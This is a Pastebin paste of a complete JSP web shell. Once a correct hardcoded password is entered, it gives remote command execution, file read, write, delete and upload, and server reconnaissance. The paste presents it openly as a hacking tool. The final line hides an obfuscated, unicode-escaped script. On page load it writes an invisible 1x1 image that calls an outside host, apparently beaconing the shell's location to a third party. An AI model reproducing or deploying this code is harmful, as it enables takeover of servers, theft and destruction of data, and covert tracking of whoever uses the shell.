ToKeiChun

JSP Java WebShell [password:111]

Jul 7th, 2020 (edited)
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 27.07 KB | None | 0 0
  1. <%@ page contentType="text/html; charset=GBK" language="java" import="java.sql.*,java.io.File,java.io.*,java.nio.charset.Charset,java.io.IOException,java.util.*" errorPage="" %>
  2. <%
  3. /**
  4.  * <p>Title:JspWebshell </p>
  5.  */
  6.  String path="";
  7.  String selfName="";
  8.  boolean copyfinish=false;
  9. %>
  10. <%  selfName=request.getRequestURI();
  11.      // String editfile="";
  12.         String editfile=request.getParameter("editfile");
  13.         if (editfile!=null)
  14.         {editfile=new String(editfile.getBytes("ISO8859_1"));
  15.         }
  16.       path=request.getParameter("path");
  17.         if(path==null)
  18.         path=config.getServletContext().getRealPath("/");
  19. %>
  20. <%!    
  21.     String _password ="111";//ÃÜÂë
  22.     public String readAllFile(String filePathName) throws IOException
  23.     {
  24.     FileReader fr = new FileReader(filePathName);
  25.     int count = fr.read();
  26.     String res="";
  27.     while(count != -1)
  28.     {
  29.     //System.out.print((char)count);
  30.         res=res+(char)count;
  31.     count = fr.read();
  32.     if(count == 13)
  33.     {
  34.     fr.skip(1);
  35.     }
  36.     }
  37.     fr.close();
  38.     return res;
  39.     }
  40. public void writeFile(String filePathName,String args) throws IOException
  41. {
  42. FileWriter fw = new FileWriter(filePathName);
  43. PrintWriter out=new PrintWriter(fw);
  44. out.write(args);
  45. out.println();
  46. out.flush();
  47. fw.close();
  48. out.close();
  49. }
  50. public boolean createFile(String filePathName) throws IOException
  51. {
  52. boolean result = false;
  53. File file = new File(filePathName);
  54. if(file.exists())
  55. {
  56. System.out.println("ÎÄŒþÒÑŸŽæÔÚ£¡");
  57. }
  58. else
  59. {
  60. file.createNewFile();
  61. result = true;
  62. System.out.println("ÎÄŒþÒÑŸŽŽœš£¡");
  63. }
  64. return result;
  65. }
  66. public boolean createFolder(String fileFolderName)
  67. {
  68. boolean result = false;
  69. try
  70. {
  71. File file = new File(fileFolderName);
  72. if(file.exists())
  73. {
  74. //file.delete();
  75. System.out.println("ĿŒÒÑŸŽæÔÚ!");
  76. result = true;
  77. }
  78. else
  79. {
  80. file.mkdir();
  81. System.out.println("ĿŒÒÑŸœšÁ¢!");
  82. result = true;
  83. }
  84. }
  85. catch(Exception ex)
  86. {
  87. result = false;
  88. System.out.println("CreateAndDeleteFolder is error:"+ex);
  89. }
  90. return result;
  91. }  
  92.  
  93. public boolean DeleteFolder(String filefolderName)
  94. {
  95. boolean result = false;
  96. try
  97. {
  98. File file = new File(filefolderName);
  99. if(file.exists())
  100. {
  101. file.delete();
  102. System.out.println("ĿŒÒÑÉŸ³ý!");
  103. result = true;
  104. }
  105. }
  106. catch(Exception ex)
  107. {
  108. result = false;
  109. System.out.println("CreateAndDeleteFolder is error:"+ex);
  110. }
  111. return result;
  112. }
  113. public boolean validate(String password) {
  114.     if (password.equals(_password)) {
  115.         return true;
  116.     } else {
  117.         return false;
  118.     }
  119. }
  120. public String HTMLEncode(String str) {
  121.     str = str.replaceAll(" ", "&nbsp;");
  122.     str = str.replaceAll("<", "&lt;");
  123.     str = str.replaceAll(">", "&gt;");
  124.     str = str.replaceAll("\r\n", "<br>");
  125.    
  126.     return str;
  127. }
  128.     public String exeCmd(String cmd) {
  129.     Runtime runtime = Runtime.getRuntime();
  130.     Process proc = null;
  131.     String retStr = "";
  132.     InputStreamReader insReader = null;
  133.     char[] tmpBuffer = new char[1024];
  134.     int nRet = 0;
  135.    
  136.     try {
  137.         proc = runtime.exec(cmd);
  138.         insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
  139.         while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
  140.             retStr += new String(tmpBuffer, 0, nRet);
  141.         }
  142.        
  143.         insReader.close();
  144.         retStr = HTMLEncode(retStr);
  145.     } catch (Exception e) {
  146.         retStr = "<font color=\"red\">ÃüÁîŽíÎó\"" + cmd + "\"";
  147.     } finally {
  148.         return retStr;
  149.     }
  150.     }
  151.     public boolean fileCopy(String srcPath, String dstPath) {
  152.     boolean bRet = true;
  153.    
  154.     try {
  155.         FileInputStream in = new FileInputStream(new File(srcPath));
  156.         FileOutputStream out = new FileOutputStream(new File(dstPath));
  157.         byte[] buffer = new byte[1024];
  158.         int nBytes;
  159.        
  160.  
  161.         while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
  162.             out.write(buffer, 0, nBytes);
  163.         }
  164.        
  165.         in.close();
  166.         out.close();
  167.     } catch (IOException e) {
  168.         bRet = false;
  169.     }  
  170.    
  171.     return bRet;
  172. }
  173. class EnvServlet
  174. {
  175.     public long timeUse=0;
  176.     public Hashtable htParam=new Hashtable();
  177.     private Hashtable htShowMsg=new Hashtable();
  178.     public void setHashtable()
  179.     {
  180.         Properties me=System.getProperties();
  181.         Enumeration em=me.propertyNames();
  182.         while(em.hasMoreElements())
  183.         {
  184.             String strKey=(String)em.nextElement();
  185.             String strValue=me.getProperty(strKey);
  186.             htParam.put(strKey,strValue);
  187.         }
  188.     }  
  189.     public void getHashtable(String strQuery)
  190.     {
  191.         Enumeration em=htParam.keys();
  192.         while(em.hasMoreElements())
  193.         {
  194.             String strKey=(String)em.nextElement();
  195.             String strValue=new String();
  196.             if(strKey.indexOf(strQuery,0)>=0)
  197.             {
  198.                 strValue=(String)htParam.get(strKey);
  199.                 htShowMsg.put(strKey,strValue);
  200.             }
  201.         }
  202.     }
  203.     public String queryHashtable(String strKey)
  204.     {
  205.         strKey=(String)htParam.get(strKey);
  206.         return strKey;
  207.     }
  208. /*  public long test_int()
  209.     {
  210.         long timeStart = System.currentTimeMillis();
  211.         int i=0;
  212.         while(i<3000000)i++;
  213.         long timeEnd = System.currentTimeMillis();
  214.         long timeUse=timeEnd-timeStart;
  215.         return timeUse;
  216.     }
  217.     public long test_sqrt()
  218.     {
  219.         long timeStart = System.currentTimeMillis();
  220.         int i=0;
  221.         double db=(double)new Random().nextInt(1000);
  222.         while(i<200000){db=Math.sqrt(db);i++;}
  223.         long timeEnd = System.currentTimeMillis();
  224.         long timeUse=timeEnd-timeStart;
  225.         return timeUse;
  226.     }*/
  227. }
  228. %>
  229. <%
  230.     EnvServlet env=new EnvServlet();
  231.     env.setHashtable();
  232.     //String action=new String(" ");
  233.     //String act=new String("action");
  234.     //if(request.getQueryString()!=null&&request.getQueryString().indexOf(act,0)>=0)action=request.getParameter(act);
  235. %>
  236.  
  237. <html>
  238. <head>
  239. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  240. <title>JspWebShell By Ÿø¶ÔÁã¶È</title>
  241. <style>
  242. body {
  243.     font-size: 12px;
  244.     font-family: "ËÎÌå";
  245.     background-color: #666666;
  246. }
  247. A {
  248.     COLOR: black; TEXT-DECORATION: none
  249. }
  250. A:hover {
  251.     COLOR: black; TEXT-DECORATION: underline; none:
  252. }
  253. td {
  254.     font-size: 12px;
  255.     font-family: "ËÎÌå";
  256.     color: #000000;
  257. }
  258.  
  259. input.textbox {
  260.     border: black solid 1;
  261.     font-size: 12px;
  262.     height: 18px;
  263. }
  264.  
  265. input.button {
  266.     font-size: 12px;
  267.     font-family: "ËÎÌå";
  268.     border: black solid 1;
  269. }
  270.  
  271. td.datarows {
  272.     font-size: 12px;
  273.     font-family: "ËÎÌå";
  274.     height: 25px;
  275.     color: #000000;
  276. }
  277. .PicBar { background-color: #f58200; border: 1px solid #000000; height: 12px;}
  278. textarea {
  279. border: black solid 1;
  280. }
  281. .inputLogin {font-size: 9pt;border:1px solid lightgrey;background-color: lightgrey;}
  282. .table1 {BORDER:gray 0px ridge;}
  283. .td2 {BORDER-RIGHT:#ffffff 0px solid;BORDER-TOP:#ffffff 1px solid;BORDER-LEFT:#ffffff 1px solid;BORDER-BOTTOM:#ffffff 0px solid;BACKGROUND-COLOR:lightgrey; height:18px;}
  284. .tr1 {BACKGROUND-color:gray }
  285. </style>
  286. <script language="JavaScript" type="text/JavaScript">
  287. <!--
  288. function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  289.   if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
  290.     document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  291.   else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
  292. }
  293. MM_reloadPage(true);
  294. //-->
  295. </script>
  296. </head>
  297. <body bgcolor="#666666">
  298. <%
  299. //session.setMaxInactiveInterval(_sessionOutTime * 60);
  300. String password=request.getParameter("password");
  301. if (password == null && session.getAttribute("password") == null) {
  302.  
  303. %>
  304.  
  305. <div align="center" style="position:absolute;width:100%;visibility:show; z-index:0;left:4px;top:272px">
  306.   <TABLE class="table1" cellSpacing="1" cellPadding="1" width="473" border="0" align="center">
  307.     <tr>
  308.       <td class="tr1"> <TABLE cellSpacing="0" cellPadding="0" width="468" border="0">
  309.           <tr>
  310.             <TD align="left" bgcolor="#333333"><FONT face="webdings" color="#ffffff">&nbsp;8</FONT><FONT face="Verdana, Arial, Helvetica, sans-serif" color="#ffffff"><b>JspWebShell
  311.               version 1.2¹ÜÀíµÇÂŒ :::...</b></font></TD>
  312.             <TD align="right" bgcolor="#333333"><FONT color="#d2d8ec">Power By
  313.               Ÿø¶ÔÁã¶È</FONT></TD>
  314.           </tr>
  315.           <form name="bctform" method="post">
  316.             <tr bgcolor="#999999">
  317.               <td height="30" colspan="2" align="center" class="td2">
  318.                 <input name="password" type="password" class="textbox" id="Textbox" />
  319.                 <input type="submit" name="Button" value="Login" id="Button" title="Click here to login" class="button" />
  320.               </td>
  321.             </tr>
  322.           </form>
  323.         </TABLE></td>
  324.     </tr>
  325.   </TABLE>
  326. </div>
  327. <%
  328.  
  329.     } else {
  330.    
  331.     if (session.getAttribute("password") == null) {
  332.        
  333.         if (validate(password) == false) {
  334.             out.println("<div align=\"center\"><font color=\"red\"><li>ÃÜÂëŽíÎó</font></div>");
  335.             out.close();
  336.             return;
  337.         }
  338.        
  339.         session.setAttribute("password", password);
  340.     } else {
  341.         password = (String)session.getAttribute("password");
  342.     }
  343. %>
  344.     <%
  345.         File tmpFile = null;
  346.         String delfile="";
  347.         String delfile1="";
  348.         String editpath="";
  349.         delfile1=request.getParameter("delfile");
  350.         editpath=request.getParameter("filepath");
  351.         if (delfile1!=null)
  352.         {delfile=new String(delfile1.getBytes("ISO8859_1"));
  353.         }
  354.         if ( delfile1!= null) {
  355.         //  out.print(delfile);
  356.             tmpFile = new File(delfile);
  357.         if (! tmpFile.delete()) {
  358.             out.print( "<font color=\"red\">ÉŸ³ýʧ°Ü</font><br>\n");
  359.             }
  360.             }
  361. %>
  362.   <%String editfilecontent=null;
  363.        String editfilecontent1=request.getParameter("content");
  364.        // out.println(editfilecontent1);
  365.         //String save=request.getParameter("save");
  366.        if (editfilecontent1!=null)
  367.        {editfilecontent=new String(editfilecontent1.getBytes("ISO8859_1"));}
  368.           //   out.print(editfile);
  369.             //out.print(editfilecontent);
  370.             if (editfile!=null&editfilecontent!=null)
  371.             {try {writeFile(editfile,editfilecontent);}
  372.              catch (Exception e) {out.print("ÐŽÈëʧ°Ü");}
  373.              out.print("ÐŽÈë³É¹Š");
  374.             }
  375.             %>
  376. <%request.setCharacterEncoding("GBK");%>
  377. <%//String editfile=request.getParameter("editfile");
  378. //out.print(editfile);
  379. if (request.getParameter("jsptz")!=null)
  380. {%>
  381. <div id="Layer2" style="position:absolute; left:9px; top:340px; width:725px; height:59px; z-index:2">
  382.   <CENTER>
  383.   <table border="0" cellpadding="0" cellspacing="1" class="tableBorder">
  384.   <tr>
  385.       <td height="22" align="center" bgcolor="#000000" ><font color=#FFFFFF><strong>·þÎñÆ÷Ïà¹Ø²ÎÊý</strong></font>      
  386.       </td>
  387.   </tr>
  388.   <tr>
  389.     <td style="display" id='submenu0'><table border=0 width=100% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
  390.           <tr bgcolor="#999999" height="22">
  391.           <td width="130" bgcolor="#999999">&nbsp;·þÎñÆ÷Ãû</td>
  392.             <td height="22" colspan="3">&nbsp;<%= request.getServerName() %>(<%=request.getRemoteAddr()%>)</td>
  393.           </tr>
  394.           <tr bgcolor="#999999" height="22">
  395.             <td>&nbsp;·þÎñÆ÷²Ù×÷ϵͳ</td>
  396.             <td colspan="3">&nbsp;<%=env.queryHashtable("os.name")%> <%=env.queryHashtable("os.version")%>
  397.               <%=env.queryHashtable("sun.os.patch.level")%></td>
  398.           </tr>
  399.           <tr bgcolor="#999999" height="22">
  400.             <td>&nbsp;·þÎñÆ÷²Ù×÷ϵͳÀàÐÍ</td>
  401.             <td>&nbsp;<%=env.queryHashtable("os.arch")%></td>
  402.             <td>&nbsp;·þÎñÆ÷²Ù×÷ϵͳģʜ</td>
  403.             <td>&nbsp;<%=env.queryHashtable("sun.arch.data.model")%>λ</td>
  404.           </tr>    
  405.           <tr bgcolor="#999999" height="22">
  406.             <td>&nbsp;·þÎñÆ÷ËùÔÚµØÇø</td>
  407.             <td>&nbsp;<%=env.queryHashtable("user.country")%></td>
  408.             <td>&nbsp;·þÎñÆ÷ÓïÑÔ</td>
  409.             <td>&nbsp;<%=env.queryHashtable("user.language")%></td>
  410.           </tr>
  411.           <tr bgcolor="#999999" height="22">
  412.             <td>&nbsp;·þÎñÆ÷Ê±Çø</td>
  413.             <td>&nbsp;<%=env.queryHashtable("user.timezone")%></td>
  414.             <td>&nbsp;·þÎñÆ÷ʱŒä</td>
  415.             <td>&nbsp;<%=new java.util.Date()%> </td>
  416.           </tr>
  417.           <tr bgcolor="#999999" height="22">
  418.             <td>&nbsp;·þÎñÆ÷œâÒëÒýÇæ</td>
  419.             <td width="170">&nbsp;<%= getServletContext().getServerInfo() %></td>
  420.             <td width="130">&nbsp;·þÎñÆ÷¶Ë¿Ú</td>
  421.             <td width="170">&nbsp;<%= request.getServerPort() %></td>
  422.           </tr>
  423.           <tr bgcolor="#999999" height="22">
  424.             <td height="22">&nbsp;µ±Ç°Óû§</td>
  425.             <td height="22" colspan="3">&nbsp;<%=env.queryHashtable("user.name")%></td>
  426.           </tr>
  427.           <tr bgcolor="#999999" height="22">
  428.             <td>&nbsp;Óû§Ä¿ÂŒ</td>
  429.             <td colspan="3">&nbsp;<%=env.queryHashtable("user.dir")%></td>
  430.           </tr>
  431.           <tr bgcolor="#999999" height="22">
  432.             <td align=left>&nbsp;±ŸÎÄŒþʵŒÊ·Ÿ¶</td>
  433.             <td height="8" colspan="3">&nbsp;<%=request.getRealPath(request.getServletPath())%></td>
  434.           </tr>
  435.         </table>
  436.     </td>
  437.   </tr>
  438. </table>
  439.   <br>
  440.     <table width="640" border="0" cellpadding="0" cellspacing="1" class="tableBorder">
  441.       <tr>
  442.       <td width="454" height="22" align="center" bgcolor="#000000" onclick="showsubmenu(1)"><font color=#FFFFFF><strong>JAVAÏà¹Ø²ÎÊý</strong></font>
  443.       </td>
  444.   </tr>
  445.   <tr>
  446.     <td style="display" id='submenu1'>
  447.         <table border=0 width=99% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
  448.             <tr bgcolor="#666666" height="22">
  449.             <td width="30%">&nbsp;Ãû³Æ</td>
  450.             <td width="50%" height="22">&nbsp;Ó¢ÎÄÃû³Æ</td>
  451.             <td width="20%" height="22">&nbsp;°æ±Ÿ</td>
  452.           </tr>
  453.           <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  454.             <td width="30%">&nbsp;JAVAÔËÐл·Ÿ³Ãû³Æ</td>
  455.             <td width="50%" height="22">&nbsp;<%=env.queryHashtable("java.runtime.name")%></td>
  456.             <td width="20%" height="22">&nbsp;<%=env.queryHashtable("java.runtime.version")%></td>
  457.           </tr>
  458.           <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  459.             <td width="30%">&nbsp;JAVAÔËÐл·Ÿ³ËµÃ÷ÊéÃû³Æ</td>
  460.             <td width="50%" height="22">&nbsp;<%=env.queryHashtable("java.specification.name")%></td>
  461.             <td width="20%" height="22">&nbsp;<%=env.queryHashtable("java.specification.version")%></td>
  462.           </tr>
  463.           <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  464.             <td width="30%">&nbsp;JAVAÐéÄâ»úÃû³Æ</td>
  465.             <td width="50%" height="22">&nbsp;<%=env.queryHashtable("java.vm.name")%></td>
  466.             <td width="20%" height="22">&nbsp;<%=env.queryHashtable("java.vm.version")%></td>
  467.           </tr>
  468.           <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  469.             <td width="30%">&nbsp;JAVAÐéÄâ»ú˵Ã÷ÊéÃû³Æ</td>
  470.             <td width="50%" height="22">&nbsp;<%=env.queryHashtable("java.vm.specification.name")%></td>
  471.             <td width="20%" height="22">&nbsp;<%=env.queryHashtable("java.vm.specification.version")%></td>
  472.           </tr>
  473.           <%
  474.             float fFreeMemory=(float)Runtime.getRuntime().freeMemory();
  475.             float fTotalMemory=(float)Runtime.getRuntime().totalMemory();
  476.             float fPercent=fFreeMemory/fTotalMemory*100;
  477.           %>
  478.           <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  479.             <td height="22">&nbsp;JAVAÐéÄâ»úÊ£ÓàÄڎ棺</td>
  480.             <td height="22" colspan="2"><img width='8' height="12" align=absmiddle class=PicBar style="background-color: #000000">&nbsp;<%=fFreeMemory/1024/1024%>M
  481.             </td>
  482.           </tr>
  483.           <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  484.             <td height="22">&nbsp;JAVAÐéÄâ»ú·ÖÅäÄÚŽæ</td>
  485.             <td height="22" colspan="2"><img width='85%' align=absmiddle class=PicBar style="background-color: #000000">&nbsp;<%=fTotalMemory/1024/1024%>M
  486.             </td>
  487.           </tr>
  488.         </table>
  489.           <table border=0 width=99% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
  490.             <tr bgcolor="#666666" height="22">
  491.             <td width="30%">&nbsp;²ÎÊýÃû³Æ</td>
  492.             <td width="70%" height="22">&nbsp;²ÎÊý·Ÿ¶</td>
  493.           </tr>
  494.           <tr bgcolor="#999999" height="22">
  495.             <td width="30%">&nbsp;java.class.path </td>
  496.             <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.class.path").replaceAll(env.queryHashtable("path.separator"),env.queryHashtable("path.separator")+"<br>&nbsp;")%>
  497.             </td>
  498.           </tr>
  499.           <tr bgcolor="#999999" height="22">
  500.             <td width="30%">&nbsp;java.home</td>
  501.             <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.home")%></td>
  502.           </tr>
  503.           <tr bgcolor="#999999" height="22">
  504.             <td width="30%">&nbsp;java.endorsed.dirs</td>
  505.             <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.endorsed.dirs")%></td>
  506.           </tr>
  507.           <tr bgcolor="#999999" height="22">
  508.             <td width="30%">&nbsp;java.library.path</td>
  509.             <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.library.path").replaceAll(env.queryHashtable("path.separator"),env.queryHashtable("path.separator")+"<br>&nbsp;")%>
  510.             </td>
  511.           </tr>
  512.           <tr bgcolor="#999999" height="22">
  513.             <td width="30%">&nbsp;java.io.tmpdir</td>
  514.             <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.io.tmpdir")%></td>
  515.           </tr>
  516.         </table>
  517.     </td>
  518.   </tr>
  519. </table>
  520.   <br>
  521.   <div id="testspeed" align="center"> </div>
  522. </CENTER></div>
  523.  
  524. <%}
  525. else{
  526. if (editfile!=null)//if edit
  527. {
  528. %>
  529. <div id="Layer1" style="position:absolute; left:-17px; top:1029px; width:757px; height:250px; z-index:1">
  530.   <table width="99%" height="232" border="0">
  531.     <tr>
  532.       <td height="226"><form name="form2" method="post" action="">
  533.           <p align="center"> µØÖ·£º
  534.             <input name="editfile" type="text" value="<%=editfile%>" size="50">
  535.           </p>
  536.           <p align="center">
  537.             <textarea name="content" cols="105" rows="30"><%=readAllFile(editfile)%></textarea>
  538.             <input type="submit" name="Submit2" value="±£Žæ">
  539.           </p>
  540.         </form> </td>
  541.     </tr>
  542.   </table>
  543.   <p>&nbsp;</p></div>
  544. <%}
  545. else{%>
  546.  
  547. <table border="1" width="770" cellpadding="4" bordercolorlight="#999999" bordercolordark="#ffffff" align="center" cellspacing="0">
  548.   <tr bgcolor="#333333">
  549.     <td colspan="4" align="center"><FONT face="Verdana, Arial, Helvetica, sans-serif" color="#ffffff">JspWebShell
  550.       version 1.0</font><font color="#FFFFFF">(ÍøÕŸÄ¿ÂŒ:<%=config.getServletContext().getRealPath("/")%>)</font></td>
  551.   </tr>
  552.   <tr bgcolor="#999999">
  553.     <td colspan="4"> <font color="#000000">
  554.       <%
  555.       File[] fs = File.listRoots();
  556.       for (int i = 0; i < fs.length; i++){
  557.       %>
  558.       <a href="<%=selfName %>?path=<%=fs[i].getPath()%>\">±ŸµØŽÅÅÌ(<%=fs[i].getPath()%>)
  559.      </a>
  560.      <%}%>
  561.      </font></td>
  562.  </tr>
  563.  <tr bgcolor="#999999">
  564.    <td height="10" colspan="4"> <font color="#000000">
  565.      <form name="form1" method="post" action="">
  566.        <input type="text" name="command" class="button">
  567.        <input type="submit" name="Submit" value="CMDÃüÁîÖŽÐÐ" class="button">
  568.      </form>
  569.      </font> <p>
  570.        <%
  571.         String cmd = "";
  572.         InputStream ins = null;
  573.         String result = "";    
  574.         if (request.getParameter("command") != null) {     
  575.             cmd = (String)request.getParameter("command");result = exeCmd(cmd);%>
  576.        <%=result == "" ? "&nbsp;" : result%>
  577.        <%}%>
  578.       </td>
  579.  </tr>
  580.  <FORM METHOD="POST" ACTION="?up=true&path=<%String path1=config.getServletContext().getRealPath("/"); String tempfilepath=request.getParameter("path"); if(tempfilepath!=null) path1=tempfilepath;path1=path1.replaceAll("\\\\", "\\\\\\\\"); %><%=path1%>" ENCTYPE="multipart/form-data">
  581.    <tr bgcolor="#999999">
  582.      <td colspan="2"> <INPUT TYPE="FILE" NAME="FILE1" style="width:150"  SIZE="50" class="button">
  583.        <INPUT TYPE="SUBMIT" VALUE="ÉÏŽ«" class="button"> </td>
  584.      <td colspan="2"><a href="?jsptz=true" target="_blank">JSPÌœÕë</a> </td>
  585.    </tr>
  586.  </FORM>
  587.  <%     String fileexe="";
  588.             String dir="";
  589.             String deldir="";
  590.              String scrfile="";
  591.              String dstfile="";
  592.               fileexe=request.getParameter("fileexe");
  593.              dir=request.getParameter("dir");
  594.              deldir=request.getParameter("deldir");
  595.              scrfile=request.getParameter("scrfile");
  596.              dstfile=request.getParameter("dstfile");
  597.           if (fileexe!=null)
  598.             {
  599.             //out.print(path+fileexe);
  600.             createFile(path+fileexe);
  601.             }
  602.           if (dir!=null)
  603.             {
  604.             //out.print(path+dir);
  605.             createFolder(path+dir);
  606.             }
  607.           if (deldir!=null)
  608.             {
  609.             //out.print(deldir);
  610.             DeleteFolder(deldir);
  611.             }
  612.             if (scrfile!=null&dstfile!=null)
  613.             {
  614.             //out.print(scrfile);
  615.             //out.print(dstfile);
  616.             copyfinish=fileCopy(scrfile, dstfile) ;
  617.             }
  618.             %>
  619.  <tr bgcolor="#CCCCCC">
  620.    <td height="10" colspan="2" bgcolor="#999999"> <form name="form3" method="post" action="">
  621.        ÎÄŒþŒÐÃû£º
  622.        <input name="dir" type="text" size="10" class="button">
  623.        <input type="submit" name="Submit3" value="МšÄ¿ÂŒ" class="button">
  624.      </form></td>
  625.    <td width="188" height="10" bgcolor="#999999"> <form name="form4" method="post" action="">
  626.        ÎÄŒþÃû£º
  627.        <input name="fileexe" type="text" size="8" class="button">
  628.        <input type="submit" name="Submit4" value="МšÎÄŒþ" class="button">
  629.      </form></td>
  630.    <td width="327" height="10" bgcolor="#999999"><form name="form5" method="post" action="">
  631.        ÎÄŒþ<input name="scrfile" type="text" size="15"class="button">
  632.        žŽÖƵœ
  633.        <input name="dstfile" type="text" size="15" class="button">
  634.        <input type="submit" name="Submit5" value="žŽÖÆ" class="button">
  635.      </form><font color="#FF0000"><%if(copyfinish==true) out.print("žŽÖƳɹŠ");%></font></td>
  636.  </tr>
  637.  <%//ÉÏŽ«
  638.             String tempfilename="";
  639.             String up=request.getParameter("up");
  640.             // String tempfilepath=request.getParameter("filepath");
  641.             // out.print(tempfilepath);
  642.               if(up!=null)
  643.           {
  644.            tempfilename=(String)session.getId();
  645.          //String tempfilename=request.getParameter("file");
  646.          File f1=new File(tempfilepath,tempfilename);
  647.          int n;
  648.          try
  649.          {
  650.              InputStream in=request.getInputStream();
  651.              BufferedInputStream my_in=new BufferedInputStream(in);
  652.              FileOutputStream fout=new FileOutputStream(f1);
  653.              BufferedOutputStream my_out=new BufferedOutputStream(fout);
  654.              byte[] b=new byte[10000];
  655.              while((n=my_in.read(b))!=-1)
  656.              {
  657.                   my_out.write(b,0,n);
  658.              }
  659.              my_out.flush();
  660.              my_out.close();
  661.              fout.close();
  662.              my_in.close();
  663.              in.close();
  664.             // out.print("ÎÄŒþŽŽœš³É¹Š!<br>");
  665.          }
  666.          catch(IOException e)
  667.          {
  668.              out.print("ÎÄŒþŽŽœšÊ§°Ü!");
  669.          }
  670.          
  671.          try
  672.          {  
  673.              RandomAccessFile random1=new RandomAccessFile(f1,"r");
  674.              random1.readLine();
  675.              String filename=random1.readLine();
  676.              byte[] b=filename.getBytes("ISO-8859-1");
  677.              filename=new String(b);
  678.              int pointer=filename.lastIndexOf('\\');
  679.              filename=filename.substring(pointer+1,filename.length()-1);
  680.              File f2=new File(tempfilepath,filename);
  681.              RandomAccessFile random2=new RandomAccessFile(f2,"rw");
  682.              random1.seek(0);
  683.              for(int i=1; i<=4; i++)
  684.              {
  685.                   String tempstr=random1.readLine();
  686.              }
  687.              long startPoint=random1.getFilePointer();
  688.              random1.seek(random1.length());
  689.              long mark=random1.getFilePointer();
  690.              int j=0;
  691.              long endPoint=0;
  692.              while((mark>=0)&&(j<=5))
  693.              {
  694.                   mark--;
  695.                   random1.seek(mark);
  696.                   n=random1.readByte();
  697.                   if(n=='\n')
  698.  
  699.                   {
  700.                         j++;
  701.                         endPoint=random1.getFilePointer();
  702.                   }
  703.              }
  704.              long length=endPoint-startPoint+1;
  705.              int order=(int)(length/10000);
  706.              int left=(int)(length%10000);
  707.              byte[] c=new byte[10000];
  708.              random1.seek(startPoint);
  709.              for(int i=0; i<order; i++)
  710.              {
  711.                    random1.read(c);
  712.                    random2.write(c);
  713.              }
  714.              random1.read(c,0,left);
  715.              random2.write(c,0,left);
  716.              random1.close();
  717.              random2.close();
  718.              f1.delete();
  719.              out.print("ÎÄŒþÉÏŽ«³É¹Š!");
  720.          }
  721.          catch(Exception e)
  722.          {
  723.              out.print("ÎÄŒþÉÏŽ«Ê§°Ü!");
  724.          }
  725.  
  726.           }
  727.    
  728.  %>
  729.  <tr>
  730.    <td width="196" height="48" valign="top" bgcolor="#999999">
  731.      <%  try {
  732.     //path=request.getParameter("path");
  733.         //if(path==null)
  734.         //path=config.getServletContext().getRealPath("/");
  735.         File f=new File(path);
  736.         File[] fList= f.listFiles() ;
  737.         for (int j=0;j<fList.length;j++)
  738.         {
  739.         if (fList[j].isDirectory())
  740.             {%>
  741.      <a href="<%=selfName %>?path=<%=path%><%=fList[j].getName()%>\"> <%=fList[j].getName()%></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="?path=<%=path%>&deldir=<%=path%><%=fList[j].getName()%>">ÉŸ³ý</a><br>
  742.      <% }
  743.        
  744.          }//for
  745.          } catch (Exception e) {
  746.             System.out.println("²»ŽæÔÚ»òûÓÐÈšÏÞ");
  747.         }
  748.     %>
  749.      &nbsp; </td>
  750.    <td colspan="3" valign="top" bgcolor="#999999">
  751.      <%  try {
  752.     path=request.getParameter("path");
  753.         if(path==null)
  754.         path=config.getServletContext().getRealPath("/");
  755.         File f=new File(path);
  756.         File[] fList= f.listFiles() ;
  757.         for (int j=0;j<fList.length;j++)
  758.         {
  759.         if (fList[j].isFile())
  760.             {//request.getContextPath()µÃµœÐéÄâ·Ÿ¶%>
  761.     <%=fList[j].getName()%>
  762.       <a href="?path=<%String tempfilepath1=request.getParameter("path"); if(tempfilepath!=null) path=tempfilepath;%><%=path%>&editfile=<%=path%><%=fList[j].getName()%>" target="_blank">±àŒ</a>
  763.      &nbsp; <a href="?action=del&path=<%=path%>&delfile=<%=path%><%=fList[j].getName()%>">ÉŸ³ý</a><br>
  764.      <% }
  765.          }//for
  766.          } catch (Exception e) {
  767.             System.out.println("²»ŽæÔÚ»òûÓÐÈšÏÞ");
  768.         }
  769.     %>
  770.    </td>
  771.  </tr>
  772. </table>
  773. <p align="center">Power By Ÿø¶ÔÁã¶È[B.C.T] QQ:48124012</p>
  774. <p align="center">&nbsp;</p>
  775. <%}//if edit
  776. }
  777. }
  778. %>
  779. </body>
  780. </html>
  781. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Add Comment
Please, Sign In to add comment